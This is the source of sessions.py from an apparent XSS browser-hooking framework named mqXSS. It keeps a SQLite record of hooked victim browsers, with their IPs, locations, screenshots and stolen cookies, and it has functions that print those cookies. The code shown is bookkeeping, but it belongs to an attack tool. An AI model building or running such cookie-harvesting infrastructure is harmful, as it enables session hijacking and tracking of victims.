-
Notifications
You must be signed in to change notification settings - Fork 0
/
sessions.py
172 lines (160 loc) · 5.53 KB
/
sessions.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
import sqlite3
import pandas as pd
from datetime import datetime
from rich import print
import re
import os
dbfile = (os.path.dirname(os.path.realpath(__file__))+"/mqxss.db")
conn = sqlite3.connect(dbfile)
cursor = conn.cursor()
pd.set_option('display.max_rows', None)
pd.set_option('display.max_columns', None)
pd.set_option('display.width', 1000)
pd.set_option('display.colheader_justify', 'center')
pd.set_option('display.precision', 2)
pd.set_option('display.max_colwidth', 35)
pd.set_option('display.expand_frame_repr', True)
#create tables if not exist
def chooked():
conn = sqlite3.connect(dbfile)
cursor = conn.cursor()
cursor.execute("CREATE TABLE IF NOT EXISTS hooked (ID INTEGER PRIMARY KEY AUTOINCREMENT, Agent TEXT, IP TEXT, Location TEXT, Cookies TEXT, UA TEXT, OS TEXT, Screenshot TEXT, Broker TEXT, LastSeen TEXT)")
conn.commit()
conn.close()
def cunhooked():
conn = sqlite3.connect(dbfile)
cursor = conn.cursor()
cursor.execute("CREATE TABLE IF NOT EXISTS unhooked (ID INTEGER PRIMARY KEY AUTOINCREMENT, Agent TEXT, IP TEXT, Location TEXT, Cookies TEXT, UA TEXT, OS TEXT, Screenshot TEXT, Broker TEXT, LastSeen TEXT)")
conn.commit()
conn.close()
#add initial hooked info
def addhook(infos, mbroker, mport, mtopic):
Agent = re.search(r'(.*?)\: XSS', infos).group(1)
Location = re.search(r'Location\:(.*?)IP\:', infos).group(1)
IP = re.search(r'IP\:(.*?)OS\:', infos).group(1)
OS = re.search(r'OS\:(.*?)UA\:', infos).group(1)
UA = infos.split("UA:",1)[1]
broker = mbroker+":"+mport+"/"+mtopic
dt1 = datetime.now()
dt2 = dt1.strftime("%m/%d/%Y, %H:%M:%S")
conn = sqlite3.connect(dbfile)
cursor = conn.cursor()
cursor.execute("""
INSERT INTO hooked(Agent, IP, Location, UA, OS, Broker, LastSeen)
VALUES (?,?,?,?,?,?,?)
""", (Agent, IP, Location, UA, OS, broker, dt2))
conn.commit()
conn.close()
#add cookies
def addhook2(infos):
Agent = re.search(r'(.*?)\: Cookies', infos).group(1)
Cookies = infos.split("Cookies:",1)[1]
conn = sqlite3.connect(dbfile)
cursor = conn.cursor()
conn.execute("UPDATE hooked set Cookies = ? where Agent = ?",(Cookies, Agent))
conn.commit()
conn.close()
#add screenshot
def addhook3(Agent, filename):
conn = sqlite3.connect(dbfile)
cursor = conn.cursor()
conn.execute("UPDATE hooked set Screenshot = ? where Agent = ?", (filename, Agent))
conn.commit()
conn.close()
# get agent
def getagent(ID):
conn = sqlite3.connect(dbfile)
cursor = conn.cursor()
agentret = pd.read_sql('SELECT Agent FROM hooked where ID = ?', conn, params=(ID,))
df_empty = pd.DataFrame(agentret)
if df_empty.empty:
print("[[grey82]mqXSS[/grey82]] [grey89]No hooked browser with ID of "+ID+".[/grey89]")
conn.close()
return
else:
agentz = df_empty.to_string(header=False, index=False)
return agentz
conn.close()
# get location and cookie for browser
def getlocook(ID):
conn = sqlite3.connect(dbfile)
cursor = conn.cursor()
locret = pd.read_sql('SELECT Location FROM hooked where ID = ?', conn, params=(ID,))
cookret = pd.read_sql('SELECT Cookies FROM hooked where ID = ?', conn, params=(ID,))
df_empty = pd.DataFrame(locret)
df_empty2 = pd.DataFrame(cookret)
if df_empty.empty:
print("[[grey82]mqXSS[/grey82]] [grey89]No Location and Cookies with with ID of "+ID+".[/grey89]")
conn.close()
return
else:
getlocook.location = df_empty.to_string(header=False, index=False)
getlocook.cookies = df_empty2.to_string(header=False, index=False)
conn.close()
#display hooked
def gethooked():
pd.set_option('display.max_colwidth', 35)
conn = sqlite3.connect(dbfile)
cursor = conn.cursor()
hooked = pd.read_sql('SELECT ID, IP, Location, Cookies, UA, OS, Screenshot, Broker, LastSeen FROM hooked', conn, index_col=['ID'])
df_empty = pd.DataFrame(hooked)
if df_empty.empty:
print("[[grey82]mqXSS[/grey82]] [grey89]No hooked browsers yet.[/grey89]")
conn.close()
return
else:
print("\n")
print(hooked.head())
print("\n")
conn.close()
#move hooked to unooked
def remhook(infos):
Agent = re.search(r'(.*?)\: Disconnected', infos).group(1)
conn = sqlite3.connect(dbfile)
cursor = conn.cursor()
conn.execute("INSERT or IGNORE INTO unhooked SELECT * FROM hooked WHERE Agent = ?", [Agent])
conn.execute("DELETE FROM hooked WHERE Agent = ?",[Agent])
conn.commit()
conn.close()
#move reconnected browser to hooked
def rechook(infos):
Agent = re.search(r'(.*?)\: Reconnected', infos).group(1)
conn = sqlite3.connect(dbfile)
cursor = conn.cursor()
conn.execute("INSERT or IGNORE INTO hooked SELECT * FROM unhooked WHERE Agent = ?", [Agent])
conn.execute("DELETE FROM unhooked WHERE Agent = ?",[Agent])
conn.commit()
conn.close()
#get cookies
def monster():
conn = sqlite3.connect(dbfile)
cursor = conn.cursor()
hooked = pd.read_sql('SELECT ID, Location, Cookies FROM hooked UNION SELECT ID, Location, Cookies FROM unhooked', conn, index_col=['ID'])
conn.close()
df_empty = pd.DataFrame(hooked)
if df_empty.empty:
print("[[grey82]mqXSS[/grey82]] [grey89]No cookies yet.[/grey89]")
conn.close()
return
else:
pd.set_option('display.colheader_justify', 'left')
pd.set_option('display.max_colwidth', None)
print("\n")
print(hooked.head())
print("\n")
conn.close()
#display unhooked
def getunhooked():
conn = sqlite3.connect(dbfile)
cursor = conn.cursor()
unhooked = pd.read_sql('SELECT ID, IP, Location, Cookies, UA, OS, Screenshot, Broker, LastSeen FROM unhooked', conn, index_col=['ID'])
df_empty = pd.DataFrame(unhooked)
if df_empty.empty:
print("[[grey82]mqXSS[/grey82]] [grey89]No unhooked browsers yet.[/grey89]")
conn.close()
return
else:
print("\n")
print(unhooked.head())
print("\n")
conn.close()